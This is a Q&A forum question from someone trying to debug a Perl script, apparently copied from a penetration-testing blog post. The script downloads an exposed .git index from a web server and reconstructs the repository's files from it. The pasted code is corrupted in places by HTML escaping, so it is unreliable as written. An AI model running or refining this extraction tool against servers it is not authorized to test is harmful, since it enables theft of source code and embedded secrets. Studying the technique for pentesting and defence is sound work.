title: How to solve a runaway multi-line "" string error?
body: <p>So im trying to follow a Pentest partners post (<a href="https://www.pentestpartners.com/security-blog/git-extraction-abusing-version-control-systems/" rel="nofollow noreferrer">https://www.pentestpartners.com/security-blog/git-extraction-abusing-version-control-systems/</a>) in order extract metadata from a open git port. </p>
  
  <p>Im getting an error when running the perl script that was provided.</p>
  
  <p>Full Stack Trace:</p>
  
  <pre><code>Bareword found where operator expected at ./git-grab.pl line 102, near "print "Extracting"
    (Might be a runaway multi-line "" string starting on line 97)
      (Do you need to predeclare print?)
  Global symbol "%i" requires explicit package name at ./git-grab.pl line 37.
  Global symbol "$resthash" requires explicit package name at ./git-grab.pl line 94.
  Global symbol "$entry" requires explicit package name at ./git-grab.pl line 94.
  Global symbol "$file" requires explicit package name at ./git-grab.pl line 94.
  Global symbol "$firsttwo" requires explicit package name at ./git-grab.pl line 97.
  Global symbol "$resthash" requires explicit package name at ./git-grab.pl line 97.
  Global symbol "$rawdata" requires explicit package name at ./git-grab.pl line 97.
  Global symbol "$decompressed" requires explicit package name at ./git-grab.pl line 97.
  Global symbol "$oh" requires explicit package name at ./git-grab.pl line 97.
  syntax error at ./git-grab.pl line 102, near "print "Extracting"
  ./git-grab.pl has too many errors.
  </code></pre>
  
  <p>Here is the script:</p>
  
  <pre><code>#!/usr/bin/perl
  
  use strict;
  use File::Path qw(make_path);
  use LWP::UserAgent;
  use File::Temp qw(tempfile tempdir);
  use Compress::Zlib qw(uncompress);
  
  sub readtime
  {
     my ($handle, $hashref) = @_;
  
     read $handle, my $rawtime, 8;
  
     ( $hashref-&gt;{'lsb32'},
       $hashref-&gt;{'nsec'} ) = unpack "NN", $rawtime;
  
     return $hashref;
  }
  
  sub readindex
  {
     my ($infile) = @_;
     my $packindex;
  
     # read the header
     read $infile, my $rawheader, 12;
     my $header = {};
     ($header-&gt;{'ident'}, $header-&gt;{'version'}, $header-&gt;{'entries'})
        = unpack("a4NN", $rawheader);
  
     die "Not a git index file" if ($header-&gt;{'ident'} ne "DIRC");
     die "Unsupported version of git index" if ($header-&gt;{'version'} != 2);
  
     my @index_entries = ();
  
     for (my $i=0; $i{'entries'}; $i++)
     {
        my $statinfo = {};
        my $entry = {};
        my $rawdata;
        my %ctime = ();
        my %mtime = ();
  
        $statinfo-&gt;{'ctime'}=readtime($infile, \%ctime);
        $statinfo-&gt;{'mtime'}=readtime($infile, \%ctime);
  
        # read the non-time fields
        read $infile, $rawdata, 24;
        ( $statinfo-&gt;{'dev'}.
          $statinfo-&gt;{'inode'}.
          $statinfo-&gt;{'mode'}.
          $statinfo-&gt;{'uid'}.
          $statinfo-&gt;{'gid'}.
          $statinfo-&gt;{'size'} ) = unpack "NNNNNN", $rawdata;
  
        $entry-&gt;{'statinfo'}=$statinfo;
        read $infile, $rawdata, 20;
        ( $entry-&gt;{'id'} ) = unpack "H*", $rawdata;
        $packindex.=$rawdata;
        read $infile, $rawdata, 2;
        ( $entry-&gt;{'flags'} ) = unpack "n", $rawdata;
  
        # Finally read name - it's length is the lower 11 bits of flags
        my $namelength=($entry-&gt;{'flags'} &amp; 0x7ff)+1;
  
        # Pad it up to a multiple of 4
        read $infile, $rawdata, $namelength + (8 - (($namelength + 62) % 8)) %8;
        ($entry-&gt;{'name'}) = unpack "a" . ($namelength-1), $rawdata;
  
        push(@index_entries, $entry);
     }
     return @index_entries;
  }
  
  # First grab the database file
  my $target=$ARGV[0];
  my $giturl="http://$ARGV[0]/.git/index";
  my $ua=LWP::UserAgent-&gt;new;
  print "Target is: $giturl\n";
  $ua-&gt;agent("All Your Files Are Belong To Us/1.0");
  my $request=HTTP::Request-&gt;new(GET =&gt; $giturl);
  my $result=$ua-&gt;request($request);
  
  if ($result-&gt;status_line !~ /^200/)
  {
     die "Could not find Git index file";
  }
  
  my ($dbfileh, $dbfilen) = tempfile();
  print $dbfileh $result-&gt;content;
  close $dbfileh;
  
  open(my $infile, "{'id'},0,2);
     my $resthash=substr($entry-&gt;{'id'},2);
  
     my $file=".git/objects/" . $firsttwo . "/" . $resthash;
     my $rawdata;
     my $decompressed;
     my $oh;
  
     print "Extracting" . $entry-&gt;{'name'} . "\n";
  
     my $giturl="http://$server/$file";
     my $frequest=HTTP::Request-&gt;new(GET =&gt; $giturl);
     my $fresult=$ua-&gt;request($frequest);
     $rawdata=$fresult-&gt;content;
  
     # Make sure the path is there for the output
     my $outputpath="output/" . $entry-&gt;{'name'};
     $outputpath =~ s#/[^/]*$##g;
  
     make_path($outputpath);
     open $oh, "&gt;", "output/$entry-&gt;{'name'}";
  
     # Now decompress the data
     $decompressed=uncompress($rawdata);
     my $gitfile={};
  
     ($gitfile-&gt;{'type'}) = substr($decompressed,0,5);
     if ($gitfile-&gt;{'type'} ne "blob ")
     {
        print "Unknown git file type: $gitfile-&gt;{'type'}. Skipping\n";
        next;
     }
     ($gitfile-&gt;{'size'}) = unpack "Z*", substr($decompressed,5);
     ($gitfile-&gt;{'data'}) = substr($decompressed,length($gitfile-&gt;{'size'})+6);
  
     # And write it
     print $oh $gitfile-&gt;{'data'};
     close($oh);
  }
  </code></pre>
  
  <p>Im not sure whats wrong with it. If anyone is able to help it would really helpful? </p>
  
  <p>Thanks!</p>